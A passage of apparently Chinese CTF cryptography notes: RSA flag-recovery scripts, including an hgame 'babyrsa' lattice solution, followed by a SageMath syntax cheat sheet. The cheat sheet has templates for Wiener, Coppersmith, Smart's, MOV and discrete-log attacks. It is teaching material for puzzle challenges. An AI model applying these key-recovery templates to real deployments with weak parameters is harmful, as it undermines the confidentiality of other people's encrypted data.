deriv1_num = 36360623837143006554133449776905822223850034204333042340303731846698251185379183585401025894584873826284649058526470710038176516677326058549625930550928515944115160614909195746688504416967586844354012895944251800672195553936202084073217078119494546421088598245791873936703883718926122761577400400368341859847
cipher = 17359360992646515022812225990358117265652240629363564764503325024700251560440679272576574598620940996876220276588413345495658258508097150181947839726337961689195064024953824539654084620226127592330054674517861032601638881355220119605821814412919221685287567648072575917662044603845424779210032794782725398473

x1_sq = x1 * x1
x1_cb = x1_sq * x1

for k in [i for i in range(2, 256) if isPrime(i)]:
    L = (2**119) - deriv1_num + 3 * x1_sq
    R = (2**120) - deriv1_num + 3 * x1_sq
    den = 2 * x1

    a1_l = max(2**119, (L + den - 1) // den)
    a1_r = min(2**120, R // den)

    for a1 in range(a1_l, a1_r + 1):
        b1 = deriv1_num - 3 * x1_sq + 2 * a1 * x1
        if not (2**119 <= b1 <= 2**120):
            continue

        c = x1_cb - a1 * x1_sq + b1 * x1 - k * n
        if c <= 0:
            continue

        m = pow(cipher, c, n)
        flag = long_to_bytes(m)
        if b"xmctf{" in flag.lower():
            print(flag.decode())
            raise SystemExit

hgame部分

2026-03-03T10:14:32.000Z

babyrsa

关键：m有强结构

m 不是任意整数。
它满足：

m = bytes\_to\_long( \text{VIDAR{} X \text{ }} )

其中：

X 长度已知范围
X 每个字符来自 64 个字符集
这是一个强约束结构整数

转化为数学方程

设：

prefix = “VIDAR{”
suffix = “}”
展开整数形式：

m=P\cdot 256^{k+1}+X\cdot256+S

我们已知：

m \equiv m_0 \pmod n

代入得：

P \cdot 256^{k+1} + X\cdot256 + S\equiv m_0 \pmod n

整理：

X \cdot 256 \equiv m_0 - P\cdot256^{k+1} -S\pmod n

现在问题变成：
求一个长度 k 的整数 X，使得：

$X \equiv C \mod n$
X 的每个字节来自 64 个合法字符

恢复X

X = \sum x_i 256^i

我们可以写成：

x_i = a + \delta_i

\sum \delta_i 256^i \equiv C' \pmod n

变形：

\sum \delta_i 256^i - C' = t n

可以构造：

L = \begin{pmatrix} 1 & 0 & 0 & … & 0 & 256^0 \\ 0 & 1 & 0 & … & 0 & 256^1 \\ 0 & 0 & 1 & … & 0 & 256^2 \\ \vdots & & & \ddots & & \vdots \\ 0 & 0 & 0 & … & 1 & 256^{k-1} \\ 0 & 0 & 0 & … & 0 & -C' \\ 0 & 0 & 0 & … & 0 & n \end{pmatrix}

(\delta_0, \delta_1, …, \delta_{k-1}, t)L = (\delta_0, \delta_1, …, \delta_{k-1}, 1, \sum \delta_i 256^i - C' + t n = 0)

如果这最后两维是 1，0，那我们就得到了合法解。

EXP

def solve():

    c = 451420045234442273941376910979916645887835448913611695130061067762180161
    p = 722243413239346736518453990676052563
    q = 777452004761824304315754169245494387
    e = 65537

    n = p * q
    phi = (p - 1) * (q - 1)
    
    d = pow(e, -1, phi)
    m_trunc = pow(c, d, n)

    prefix = b"VIDAR{"
    suffix = b"}"
    center = 85

    # 3. 遍历爆破中间字符的长度
    for length in range(30, 41):
        print(f"尝试未知长度 k = {length}")
        
        target = m_trunc
        # 减去前缀和后缀的权重 (使用 Python 自带的 int.from_bytes)
        target -= (256**(len(suffix) + length)) * int.from_bytes(prefix, 'big')
        target -= int.from_bytes(suffix, 'big')
        # 消除后缀长度的偏移
        target = (target * pow(256, -1, n)) % n
        
        # 4. 构建格矩阵
        L = Matrix(ZZ, length + 2, length + 2)
        
        for i in range(length):
            L[i, i] = 1
            L[i, -1] = 256**i
            target -= (256**i) * center
            
        L[-2, -2] = 1
        L[-2, -1] = -target
        L[-1, -1] = n
        
        for i in range(length + 2):
            L[i, -1] *= n
            
        res = L.BKZ()
        
        for row in res:
            if all(-38 <= x <= 38 for x in row[:-2]):
                if row[-2] == 1:
                    flag_middle = "".join(chr(center + j) for j in row[:-2][::-1])
                    print(f"\nk = {length}")
                    print(f"Flag: {prefix.decode()}{flag_middle}{suffix.decode()}\n")
                    return
                    
                elif row[-2] == -1:
                    flag_middle = "".join(chr(center - j) for j in row[:-2][::-1])
                    print(f"\nk = {length}")
                    print(f"Flag: {prefix.decode()}{flag_middle}{suffix.decode()}\n")
                    return

solve()

常用语法

2026-03-03T08:26:58.000Z

常用语法

from gmpy2 import *

mpz(n)#初始化一个大整数
mpfr(x)# 初始化一个高精度浮点数x
d = invert(e,n) # 求逆元，de = 1 mod n
c = powmod(m,e,n)# 幂取模，结果是 c = m^e mod n
is_prime(n) #素性检测
gcd(a,b)  #欧几里得算法，最大公约数
gcdext(a,b)  #扩展欧几里得算法
iroot(x,n) #x开n次根

sympy

from sympy import *

prime(n)  #第n个素数
isprime(n)  #素性检测
primepi(n)  #小于n的素数的总数
nextprime(n)  #下一个素数
prevprime(n)  #上一个素数
nthroot_mod(c,e,p,all_roots=True)  #有限域开方

Sagemath

环境与导入

# sage shell 里直接写，无需导入
# 普通 python 环境调用 sage 功能：
from sage.all import *

# 也可以按需导入，加快启动速度
from sage.all import GF, ZZ, QQ, Matrix, Zmod, block_matrix, vector
from sage.groups.generic import discrete_log
from sage.modules.free_module_integer import IntegerLattice

sage 对象可以序列化保存/加载（比如题目把矩阵存成 data.sobj 发给你）：

save(data, "data.sobj")   # 题目侧导出
data = load("data.sobj")  # 解题侧读回

在线环境：sagecell.sagemath.org 可以免装跑小段代码。Jupyter 里的效率技巧：%display latex 开 LaTeX 渲染、%timeit 测耗时、函数名后按 Tab 补全。

帮助与调试：

discrete_log?      # 查看文档
EllipticCurve??    # 查看源代码
type(sqrt(2))      # 查看对象类型

符号计算基础

Sage 的理念是符号计算——先保持精确形式，需要数值时再算：

sqrt(2)          # 保持 sqrt(2)，不急着算数值
sqrt(2).n()      # 需要数值时 .n()，默认 53 位
pi.n(digits=100) # 自定义精度
RealField(200)(pi)   # 200 位精度实数

10/4             # 5/2 —— 自动有理数，不丢精度！
10//4            # 2 —— 整数除法
10/4.0           # 2.50000000000000 —— 浮点数

2^100            # sage 里 ^ 就是幂（等价 Python 的 **），抄 Python 代码时注意别混！

符号变量必须先声明（新手第一大坑）：

expand((x + 1)^2)      # ❌ NameError: name 'x' is not defined
x = var('x')           # ✅ 先声明
y, z = var('y z')      # ✅ 一次声明多个

数值求根（区间法）：

find_root(x^2 - 2, 0, 2)     # 在 [0,2] 区间找数值根

环（Ring）与域（Field）

Sage 一切运算都发生在指定的代数结构里，先选环/域再算：

ZZ    # 整数环
QQ    # 有理数域（精确分数，不会丢精度）
RR    # 实数环
CC    # 复数环
GF(p)         # 有限域（p 为素数），等价于 Integers(p) 的域版本
Zmod(n)       # 模 n 整数环（n 可为合数，有零因子）
Integers(n)   # 同上，写法不同
IntegerModRing(P)  # 同上，又一种写法
Zp(p, prec=2) # p-adic 环，prec 指定精度，可处理模 p^k 的问题
Qp(p)         # p-adic 域

扩域 GF(p^n)（MOV 攻击、AES 域运算都要用）：

F. = GF(2^8)              # 用生成元 a 表示所有元素
a^255                        # 乘法群阶 255，a^255 == 1

# 指定不可约多项式（AES 用 x^8+x^4+x^3+x+1）
R. = PolynomialRing(GF(2))
F. = GF(2^8, modulus=x^8 + x^4 + x^3 + x + 1)
F.primitive_element()        # 找原根

选错环结果完全不同：做 RSA 相关的多项式运算必须用 PolynomialRing(Zmod(n))；如果错误地用 PolynomialRing(GF(p))，相当于把模换成了素数 p，和 n 完全不符（合数环有零因子，多项式根数可以超过次数）。

二次域与商环：

K. = QuadraticField(-1)   # Q(i)，i 即虚数单位（高斯整数问题用它）
K. = NumberField(x^2 - 2) # 一般代数数域

# 商环：多项式环模理想
R. = PolynomialRing(QQ)
I = R.ideal(x^2 + 1)
Q = R.quo(I)
Q(x)^2                       # x² ≡ -1，得 -1

生成元语法 `R. = ...`

Sage 特有的预解析器写法，同时声明变量名和环的生成元：

R. = PolynomialRing(Zmod(n))
'''
1. Zmod(n): 指定模，定义界限为 n 的环，有效数字只有 0～n
2. ZZ: 整数环; QQ: 有理数环; RR: 实数环; CC: 复数环
3. R: 只是一个指针，指向 PolynomialRing 建立的那个环（可用任意字符）
4. PolynomialRing: 建立多项式环
5. : 指定一个变量（可用任意字符）
'''

# 矩阵也可以做环的元素
R. = PolynomialRing(MatrixSpace(Zmod(n),3,3))  # 模 n 的 3x3 矩阵环

# 双变量（多未知量建模用）
P. = PolynomialRing(Zmod(N))

等价的函数式写法（纯 Python 环境也能用）：

from sage.all import PolynomialRing, GF
P_ring = PolynomialRing(GF(m), 'x')
x = P_ring.gen()
f = sum(coeffs[j] * (x**j) for j in range(r))

数论

d = inverse_mod(e, fn)      # 求逆元（模 fn）
c = power_mod(m, e, n)      # 幂取模 m^e mod n
factor(n)                   # 整数/多项式分解，返回 [(素因子, 次数), ...]
ecm.factor(N)               # ECM 分解（p-1/p+1 光滑或中小因子时比 factor 快）
euler_phi(n)                # 欧拉函数
prime_pi(n)                 # 小于等于 n 的素数个数
divisors(n)                 # n 的全部因子
number_of_divisors(n)       # 因子个数
two_squares(n)              # n = a²+b²（构造高斯素数常用）
three_squares(n)            # n = a²+b²+c²
four_squares(n)             # n = a²+b²+c²+d²
crt([r1,r2,..],[m1,m2,..])  # 中国剩余定理（列表形式，也支持非互质模数的扩展 CRT）
prod(N_list)                # 列表求乘积（广播攻击 CRT 后开方用）

next_prime(n)               # 下一个素数
random_prime(2^512)         # 随机素数
random_prime(2^bits - 1, lbound=2^(bits-1))  # 指定位数区间的随机素数
is_prime(n)                 # 素性检测
primitive_root(p)           # 原根
is_primitive_root(g, p)     # 判断原根
legendre_symbol(a, p)       # Legendre 符号（二次剩余判定）
jacobi_symbol(a, n)         # Jacobi 符号
binomial(e, i)              # 二项式系数（手搓 Coppersmith 展开用）
isqrt(N)                    # 整数平方根（判完全平方：isqrt(d)^2 == d）
N.nbits()                   # 比特长度（等价 bit_length）
floor(log(N, 2) / 2)        # log 直接对大整数算，估算位数

扩展欧几里得与开方：

d,u,v = xgcd(20,30)   # d=10 u=-1 v=1，即 20u+30v=10

Integer(c).nth_root(e, truncate_mode=True)
# 开 e 次方，不精确时返回 (整数部分, False) 而不抛异常
# 配合 power_mod(m, e, N) 验证，适合"先试开方、失败再上 Coppersmith"的分支

mod(x,p).nth_root(n)               # 有限域内开 n 次方

# 有限域开 n 次方（e 很大时用 pari）
def mod_nth_root(x, e, n):
    r, z = pari(f"r = sqrtn(Mod({x}, {n}), {e}, &z); [lift(r), lift(z)]")
    r, z = int(r), int(z)
    roots = [r]
    t = r
    while (t := (t*z) % n) != r:
        roots.append(t)
    return roots

模运算元素的语法糖：mod(a, P) 生成 Z/PZ 元素，/ 自动乘逆元，ZZ(...) 提升回 Python 整数：

A = mod(dy[1] - dx[0], P) / mod(dy[0], P)   # 除法 = 乘逆元
X = ZZ(mod(dx[0]/a, p))                     # 提升回整数

多项式

f.subs({x: x1})                       # 把 x1 代入 x
f.sub(x, x-1)                         # 将 x-1 代入 x
f.univariate_polynomial()             # 多元映射为单变量多项式
f.univariate_polynomial().roots()     # 单变量多项式求根，返回 [(根, 重数), ...]
f.coefficients()                      # 系数列表
f.padded_list(n)                      # 系数转为长度 n 的列表（缺位补 0）
f.list()                              # 多项式系数
f.monic()                             # 首一化
f.factor()                            # 分解因式
f.gcd(g)                              # 最大公因式
f.roots(multiplicities=False)         # 只要根不要重数
f[i]                                  # 取第 i 次项系数
f.degree()                            # 次数
p.quo_rem(q)                          # 带余除法，返回 (商, 余数)
f.resultant(g)                        # 结式（两多项式有公共根 ⟺ 结式为 0）

因式分解与 GCD：

# 一元
x = PolynomialRing(RationalField(), 'x').gen()
f = (x^3 - 1)^2 - (x^2 - 1)^2
f.factor()

# 二元
x, y = PolynomialRing(RationalField(), 2, ['x','y']).gens()
f = (9*y^6 - 9*x^2*y^5 - 18*x^3*y^4 - 9*x^5*y^4 + 9*x^6*y^2 + 9*x^7*y^3 + 18*x^8*y^2 - 9*x^11)
f.factor()

# 多元 GCD（order='lex' 指定单项序）
R. = PolynomialRing(RationalField(), order='lex')
f = 3*x^2*(x+y)
g = 9*x*(y^2 - x^2)
f.gcd(g)

结式恢复未知模数（两条关系多项式在模 p 下有公共根 ⟹ p 整除结式；多个结式取 gcd、factor()[-1][0] 取最大素因子消杂）：

R. = PolynomialRing(ZZ)
f0, f1, f2 = [sum(rkm[j,i]*x^i for i in range(11)) for j in range(3)]
p = gcd(f0.resultant(f1), f1.resultant(f2)).factor()[-1][0]

# 换环后求公共根
F = GF(p)
a = gcd(f0.change_ring(F), f1.change_ring(F)).roots()[0][0]

同类技巧：未知模数 LCG，t_i·t_{i+2} − t_{i+1}² 都是 m 的倍数，多个取 gcd(g0, g1).factor()[-1][0] 得 m。

Groebner 基——多元多项式方程组的强力解法：

R. = PolynomialRing(QQ)
I = R.ideal([x^2 + y^2 - 1, x - y])
I.groebner_basis()            # [x - y, 2*y^2 - 1]，三角化后逐个解

GF(2) 上多项式与整数互转：

PR = PolynomialRing(GF(2),'x')
R. = GF(2^2049)
pc = R.fetch_int(xx)                          # 整数 -> 多项式
xx = R(PR(pc)).integer_representation()       # 多项式 -> 整数

拉格朗日插值与极小多项式：

PR = PolynomialRing(Zmod(p), 'x')
f = PR.lagrange_polynomial(points)   # 插值恢复多项式（Shamir 秘密分享等）

f = algdep(alpha, k)                 # 用 α 的近似值找可能的 k 次整系数极小多项式

连分数（Wiener 攻击标配）

cf = continued_fraction(e / n)     # 连分数展开
convergents = cf.convergents()     # 渐近分数列表

for kd in convergents:
    k = kd.numerator()             # 渐近分数的分子 → k
    d = kd.denominator()           # 分母 → d
    if k == 0 or (e * d - 1) % k != 0:
        continue
    phi = (e * d - 1) // k
    s = n - phi + 1                # s = p + q
    delta = s^2 - 4 * n
    if delta < 0:
        continue
    sqrt_delta = isqrt(delta)
    if sqrt_delta^2 != delta:      # 判别式是完全平方才分解成功
        continue
    p = (s + sqrt_delta) // 2
    q = (s - sqrt_delta) // 2

也可以不解判别式，直接用多项式环按韦达定理解 x² - (n-phi+1)x + n = 0：

x = PolynomialRing(RationalField(), "x").gen()
f = x**2 - (n - phi + 1) * x + n
roots = f.roots()
if len(roots) == 2:
    p, q = int(roots[0][0]), int(roots[1][0])

矩阵与线性代数

A = matrix(ZZ, [[1,1],[0,4]])          # 也可以 Matrix(ZZ, ...)
A.nrows() / A.ncols()                  # 行数 / 列数
A.transpose()                          # 转置
A.inverse() 或 A^(-1)                  # 逆矩阵
A.rank()                               # 秩
A.det()                                # 行列式
A.trace()                              # 迹
A.eigenvalues()                        # 特征值
A.eigenvectors_right()                 # 右特征向量
A.stack(v)                             # 底部添加一行（也可 stack(matrix(...)) 循环堆行）
A.augment(B)                           # 右侧拼接一列/一个矩阵（横向拼接）
A.insert_row(1, vector([1,2]))         # 插入行
A.change_ring(QQ)                      # 更换元素所在环（ZZ -> QQ 等）
A.solve_left(B)  或 A/B                # 解 XA = B；B=向量时返回 v 在行基下的坐标
A.solve_right(B) 或 A\B                # 解 AX = B（QQ 上是精确高斯消元）
A.left_kernel()  / A.right_kernel()    # 左/右零空间（核）
A.left_kernel_matrix()                 # 左核的基矩阵
A.right_kernel_matrix()                # 右核的基矩阵：饱和整数核格的基！
A.LLL()                                # LLL 格基规约
A.LLL(delta=0.99)                      # delta 调高（默认 0.75）约化更彻底但更慢
A.BKZ(block_size=20)                   # BKZ 规约，效果更好但更慢
A.multiplicative_order()               # 乘法阶
L.rows()                               # 遍历矩阵的行（LLL 后逐行筛解常用）
L[0]                                   # 取第一行
v.norm()                               # 向量范数

matrix.zero(2,3) / zero_matrix(2,3)            # 零矩阵
matrix.identity(2) / identity_matrix(ZZ, 2)    # 单位阵
block_matrix(ZZ, [[A, zero_matrix(n,1)], [matrix(b), matrix([1])]])  # 分块拼接

MatrixSpace(GF(p), n, n)               # 矩阵空间，可对普通矩阵做换域 Mat_p(A)

构造矩阵的两种轻量手法（不想用 block_matrix 时）：

# 手法一：建零矩阵后逐元素赋值
L = Matrix(ZZ, 8, 8)
L[0,0] = n
L[6,2] = c1r * X
...

# 手法二：分块切片赋值（高斯整数 2x2 块展开用）
out = Matrix(ZZ, 2*len(mat), 2*len(mat[0]))
for r in range(len(mat)):
    for c in range(len(mat[0])):
        out[2*r:2*r+2, 2*c:2*c+2] = block(mat[r][c])   # 2x2 子块直接赋值

解线性方程组 AX = B：

A = Matrix([[1,2,3],[3,2,1],[1,1,1]])
Y = vector([0,-4,-1])
X = A.solve_right(Y)
# 反斜杠 \ 是 solve_right 的简写：X = A \ Y

核向量的重要细节：right_kernel_matrix() 给的是饱和整数核格的基，直接 LLL 是安全的；而 sympy 的 Matrix.nullspace() 只给有理零空间基，通分后可能只是有限指数子格，在其上 LLL 会丢向量。

lift_centered——把模 p 系数提升到 (−p/2, p/2] 的中心化整数，控制组合结果的大小：

vector(N.left_kernel_matrix()[0, 2::-1]).lift_centered()

解符号方程组：

var('x y')
solve([x+y==10, x*y==21], [x,y])
solve(x^2 == 2, x, solution_dict=True)   # 用 dict 形式取解

Coppersmith 与 `small_roots`

Zmod(n) 上的首一低次多项式可以求模 n 下的小根。关键三步：建环 → 构造首一多项式 → 调 small_roots：

PR. = PolynomialRing(Zmod(n))
f = p + x                              # 已知 p 高位，未知低位
res = f.small_roots(X=2^100, beta=0.4) # X: 根的上界; beta: p 相对 n 的位宽比例
p = int(res[0]) + p                    # 恢复完整 p

通用模板（含参数调优与爆破）：

def partial_prime_known_highbits(n, known_high, unknown_bits):
    f = known_high * 2^unknown_bits + x
    roots = f.small_roots(X=2^unknown_bits, beta=0.4, epsilon=0.01)
    for r in roots:
        p = int(known_high * 2^unknown_bits + r)
        if p and n % p == 0:
            return p

beta 的语义：根是"n 的 beta 比例大小因子"的根——已知 p 高位分解 n 时 beta=0.5（因子 ≈ √N），实际常用 0.4；beta=1 对应根以 n 本身为模（如明文）。理论上界 X < N^(β²/ε)。题目没给位宽时用 N.nbits() // 2 - bits_known 推 X。

e 很小（如 e=3）且明文有可枚举的已知结构时，直接对 (已知部分 + x)^e - c 求小根。注意：最高次系数可能不等于 1，需要先手动首一化——用环元素求逆：

P. = PolynomialRing(Zmod(n))
f = (x * shift + h_val)^e - c

# 关键：首一化。最高次项系数模 n 求逆后乘上去
coeff = f.coefficients()[-1]
f_monic = f * (coeff^-1)               # sage 环元素可直接用 ^-1 求逆

roots = f_monic.small_roots(X=2^(8*L), beta=1, epsilon=0.05)

镜像方向——已知 p 的低位时，未知的高位放 x、低位乘 2^k 挪到常数侧，同样 beta=0.5：

f = x * 2^low_bits + p_low
roots = f.small_roots(X=X, beta=0.5)

e=3 无填充的小指数明文，X 直接取 floor(N^(1/e))。

手搓 Coppersmith（不靠 small_roots，理解原理/自定义格时用）：对 (M·X^i + x_i)^e 二项式展开，X^i 缩放各列，LLL 后除回 X^i 重组多项式求整数根：

X = 2^x_bits
M_matrix = Matrix(ZZ, e + 1, e + 1)
for i in range(e):
    M_matrix[i, i] = X^i
# 第 e 行放二项式展开系数：binomial(e, i) * M^(e-i) mod N，末位 X^e
...
L = M_matrix.LLL()
coeffs = [L[0, i] // (X^i) for i in range(e+1)]    # 除回缩放因子
P. = PolynomialRing(ZZ)
g = sum(coeffs[i] * x^i for i in range(len(coeffs)))
roots = g.roots()                                   # 整数环上求根

高斯整数与复数域 Coppersmith

复数系数问题（Z[i] 上的 RSA/Coppersmith）的核心技巧：把 a+bi 同构映射为 2×2 整数矩阵 [[a,b],[-b,a]]，格维度翻倍后交给 LLL（sage 的 LLL 只吃整数矩阵）：

def block(z):
    a, b = z
    return Matrix(ZZ, 2, 2, [a, b, -b, a])

def expand(mat):
    out = Matrix(ZZ, 2 * len(mat), 2 * len(mat[0]))
    for r in range(len(mat)):
        for c in range(len(mat[0])):
            out[2*r:2*r+2, 2*c:2*c+2] = block(mat[r][c])
    return out

复数域 Coppersmith 的 8×8 格（三次多项式 f(z) 与其共轭 i·f̄(z) 各占一行，维度规律 2(d+1)）：

L = Matrix(ZZ, 8, 8)
L[0,0] = n; L[1,1] = n
L[2,2] = n*X; L[3,3] = n*X
L[4,4] = n*X^2; L[5,5] = n*X^2

L[6,0] = c0r; L[6,1] = c0i
L[6,2] = c1r*X; L[6,3] = c1i*X
L[6,4] = c2r*X^2; L[6,5] = c2i*X^2
L[6,6] = X^3

L[7,0] = -c0i; L[7,1] = c0r
L[7,2] = -c1i*X; L[7,3] = c1r*X
L[7,4] = -c2i*X^2; L[7,5] = c2r*X^2
L[7,7] = X^3

L_red = L.LLL()

LLL 收尾——短向量按 X^j 缩放除回，重组为二次域上的多项式求根，并验证实虚部都是整数：

K. = QuadraticField(-1)
R. = PolynomialRing(K)

for v in L_red.rows():
    Q = (v[0] + v[1]*i) + (v[2]/X + v[3]/X*i)*x \
        + (v[4]/X^2 + v[5]/X^2*i)*x^2 + (v[6]/X^3 + v[7]/X^3*i)*x^3
    for root, _ in Q.roots():
        coeffs = root.list()
        if len(coeffs) == 1:
            coeffs.append(0)
        if coeffs[0] in ZZ and coeffs[1] in ZZ:     # 判高斯整数
            x_val, y_val = ZZ(coeffs[0]), ZZ(coeffs[1])

配套小工具：

def sym_mod(v, mod):
    # 对称代表元：把系数折到 (-mod/2, mod/2]，缩小格范数
    v = ZZ(v) % mod
    if v > mod // 2:
        v -= mod
    return ZZ(v)

# 高斯整数带余除法：最近取整惯用法
q = ZZ(floor(QQ(num) / QQ(den) + QQ(1) / 2))

# 高斯素数生成：p ≡ 1 (mod 4) 的素数写成两平方和，a+bi 即高斯素数
ell = random_prime_1mod4(bits)     # 自己枚举 random_prime 后验 p % 4 == 1
a, b = two_squares(ell)

# 高斯整数 RSA 的私钥：两个范数素数的 lcm 指数
d = inverse_mod(E, lcm(np - 1, nq - 1))    # 用 lcm 而非 φ

调参套路：格里的缩放因子（系数 scale、嵌入 scale）影响 LLL 成功率，失败时按列表网格搜索：

for cs in [4, 2, 8, 1, 16, 32, 64]:
    for es in EMBED_SCALES:
        for v in expand(mat).LLL().rows():
            ...  # 逐行筛目标形状的短向量

离散对数

# 合数模 / 一般情况（内部自动选算法，含 Pohlig-Hellman）
x = discrete_log(mod(b,n), mod(a,n))
x = discrete_log(c, g, ord=order)      # 已知阶可大幅加速；p-1、q-1 光滑时直接梭
x = discrete_log(h, g, mod=p, algorithm='bsgs')   # 指定 Baby-step Giant-step
x = discrete_log(h, g, mod=p, algorithm='rho')    # 指定 Pollard Rho

# 椭圆曲线上：加 operation='+'
key = discrete_log(Q, G, operation='+')
key = discrete_log(Q, G, ord=8, operation='+')    # 小因子子群分别求再 CRT

# 乘法群元素的 log 方法写法（与全局函数等价）
k = beta.log(alpha)        # 在 F_{p^k}* 中解 beta = alpha^k

# 质数或素数幂模（Index Calculus）
R = Integers(99)
a = R(4)
b = a^9
b.log(a)

# pari 备选
x = int(pari(f"znlog({int(b)},Mod({int(a)},{int(n)}))"))
x = gp.znlog(b, gp.Mod(a, n))

配套常用：

R = Integers(factor)
order = R(g).multiplicative_order()    # 求阶，配合 discrete_log 的 ord 参数
CRT([k_mod_8, k_mod_3], [8, 3])        # 列表形式 CRT（与 crt 等价）

合数模 DLP 的标准流程：把 n 分解 → 对每个素因子幂单独求 discrete_log → 各部分以对应阶为模 → crt(remainders, moduli) 合并。模 p^k 的部分若 sage 不自动升次，可手写 p-adic 线性提升（Hensel lift）：

def linear_lift(g, c, p, k):
    """求解 g^x = c mod p^k：先求 x0 = dlog(c) mod p，再线性提升"""
    x = discrete_log(GF(p)(c), GF(p)(g))
    for i in range(1, k):
        mod = p**(i+1)
        # 偏差 beta = (c / g^x - 1) / p^i
        curr_val = power_mod(g, x, mod)
        chk = (c * inverse_mod(curr_val, mod)) % mod
        beta = (chk - 1) // p**i
        # 梯度 alpha = (g^((p-1)p^(i-1)) - 1) / p^i
        step_pow = (p-1) * p**(i-1)
        base = power_mod(g, step_pow, mod)
        alpha = (base - 1) // p**i
        d = (beta * inverse_mod(alpha, p)) % p
        x += d * step_pow
    return x

矩阵 DLP（B = A^k mod n）：把矩阵搬到各素因子域上，能对角化就对特征值求 dlog，否则行列式降维 det(A)^k = det(B)，最后 CRT：

Fp = GF(p)
Mat_p = MatrixSpace(Fp, A.nrows(), A.ncols())
A_p, B_p = Mat_p(A), Mat_p(B)

char_poly = A_p.charpoly()             # 特征多项式
roots = char_poly.roots()              # 特征值
if roots_count == A_p.nrows() and A_p.is_diagonalizable():
    eig_A = A_p.eigenvalues()[0]       # A^k 的特征值 = A 特征值的 k 次幂
    k_mod = discrete_log(B_p.eigenvalues()[0], eig_A)
    order = eig_A.multiplicative_order()
else:
    k_mod = discrete_log(B_p.det(), A_p.det())   # 行列式法
    order = A_p.det().multiplicative_order()

k = crt(rems, mods)

n = p² 的版本用 p-adic：Zp(p, prec=2) 上求特征多项式的根，利用 p-adic log 把主体部分化为对数之商 k = log(mu^(p-1)) / log(la^(p-1))，小子群部分普通 discrete_log，再 CRT + 爆破验证 a**k == b：

P = Zp(p, prec=2)
f_A = a.charpoly().change_ring(ZZ).change_ring(P)
la = f_A.roots(multiplicities=False)[0]
mu = f_B.roots(multiplicities=False)[0]
k_ = int(((mu**(p-1)).log() / (la**(p-1)).log()).lift())

椭圆曲线

E = EllipticCurve(GF(p), [A, B])       # 曲线 y² = x³ + Ax + B
E = EllipticCurve(GF(p), [0, 4])       # y² = x³ + 4（短 Weierstrass，系数缺省为 0）
E = EllipticCurve(Qp(p, 2), [a1,a2,a3,a4,a6])   # p-adic 域上建曲线（Smart's attack）
E = EllipticCurve('11a')               # 命名曲线（有理数域）
E.order()                              # 曲线的点的个数（#E）
E.discriminant()                       # 判别式，0 即奇异（也可手算 4a³+27b²）
E.rank() / E.gens()                    # 有理点群的秩与生成元
G = E.random_point()                   # 随机点
G = E.gens()[0]                        # 取生成元
G = E.lift_x(F(x))                     # 由 x 坐标恢复曲线上的点
G.order()                              # 点的阶
E(0)                                   # 无穷远点（单位元）；也可 P.curve()(0)
P.xy()                                 # 点的仿射坐标 (x, y)
P.curve()                              # 从点反取所在曲线
E.is_on_curve(x, y)                    # 判断点是否在曲线上
Q = key * G                            # 标量乘
P1 + P2                                # 点加法

由曲线上两点反解 A、B（参数未知时）：

A = (y1**2 - y2**2 - x1**3 + x2**3) / (x1 - x2)
B = y1**2 - x1**3 - A*x1
E = EllipticCurve(F, [A, B])
G, Q = E(x1, y1), E(x2, y2)

key = discrete_log(Q, G, operation='+')   # ECDLP

三类弱曲线判定：

# 奇异曲线：判别式为 0
4*a^3 + 27*b^2 == 0
# 异常曲线（Smart's attack）：#E == p
E.order() == p
# 超奇异曲线（MOV attack）：Frobenius 迹 t = p + 1 - #E 满足 t % p == 0
t = p + 1 - E.order()
t % p == 0

Smart’s attack（异常曲线 #E(F_p) = p，用 p-adic lift 直接算私钥）：

def smart_attack(P, Q, p):
    E = P.curve()
    Ep = EllipticCurve(Qp(p, 2), [E.a1(), E.a2(), E.a3(), E.a4(), E.a6()])
    P_Qp = Ep.lift_x(ZZ(P.xy()[0]))
    Q_Qp = Ep.lift_x(ZZ(Q.xy()[0]))
    p_times_P = p * P_Qp
    p_times_Q = p * Q_Qp
    x_P, y_P = p_times_P.xy()
    x_Q, y_Q = p_times_Q.xy()
    phi_P = -(x_P / y_P)
    phi_Q = -(x_Q / y_Q)
    k = phi_Q / phi_P
    return ZZ(k)      # p-adic 商截断为整数

MOV attack（超奇异/嵌入度小，把 ECDLP 归约到扩域乘法群 dlog）：

# 嵌入度：最小的 k 使 n | (q^k - 1)（超奇异曲线 k ≤ 6）
def embedding_degree(q, n):
    k = 1
    while (q^k - 1) % n != 0:
        k += 1
    return k

k = embedding_degree(p, n)
F_ext = GF(p^k)                        # 扩域
E_ext = EllipticCurve(F_ext, [a, b])
G_ext = E_ext(G)                       # 点提升到扩域（自动 coercion）
P_ext = E_ext(P)
# 或直接提升整条曲线：Ek = E.base_extend(GF(p^k))

def find_T(E_ext, G_ext, n):
    # 扩域上找 n 阶辅助点：随机 x → is_square 判 QR → sqrt 得 y
    for _ in range(100):
        x = F_ext.random_element()
        rhs = x^3 + 1
        if rhs.is_square():
            y = rhs.sqrt()
            T = E_ext.point((x, y))
            if n * T == E_ext(0):              # n·T = O 判阶
                pair = E_ext.weil_pairing(G_ext, T, n)
                if pair != 1:                  # 配对为 1 说明与 G 线性相关，跳过！
                    return T

alpha = E_ext.weil_pairing(G_ext, T, n)
beta = E_ext.weil_pairing(P_ext, T, n)
k = beta.log(alpha)                            # 扩域乘法群 dlog
# Tate 配对更快（四参数，多一个嵌入度）
pair = E.tate_pairing(P, Q, n, k)

小阶子群上的 ECDLP（点不在标准曲线上时可对每个候选 c 建曲线）：

curve = EllipticCurve(GF(P), [A, c])
base = curve(x, y)
point = curve(rx, ry)
k = int(discrete_log(point, base, ord=order, operation='+'))

低阶 torsion 点 + CRT 是常见套路：逐 bit 用不同子群的点组合加密时，在每个小子群上分别解 dlog，再 CRT 合并出标量。Invalid curve 攻击则是枚举曲线参数 a,b 找 E_try.order() % 小因子 == 0 的弱曲线。

奇异曲线：三次多项式有重根时曲线退化，用 factor 找出奇异点 r，映射 s = (x-r)/(y+c/2) 把 ECDLP 变成域上除法：

F = GF(p)
R. = PolynomialRing(F)
f = x^3 + F(b)*x^2 + F(d)*x + F(e) + F(c)^2/4
r = f.roots(multiplicities=False)[0]

tg = (F(gx) - r) / (F(gy) + F(c)/2)
tp = (F(px) - r) / (F(py) + F(c)/2)
m = ZZ(tp / tg)          # ZZ() 把域元素转回整数

格与 LLL/BKZ

最简模板（矩阵里藏着一行小值）：

aaa = Matrix(ZZ, output)
L = aaa.LLL()
# 最短向量就是目标行，必要时除以 GCD 归一化
g = GCD(L[0])
lis = list(map(abs, L[0]/g))

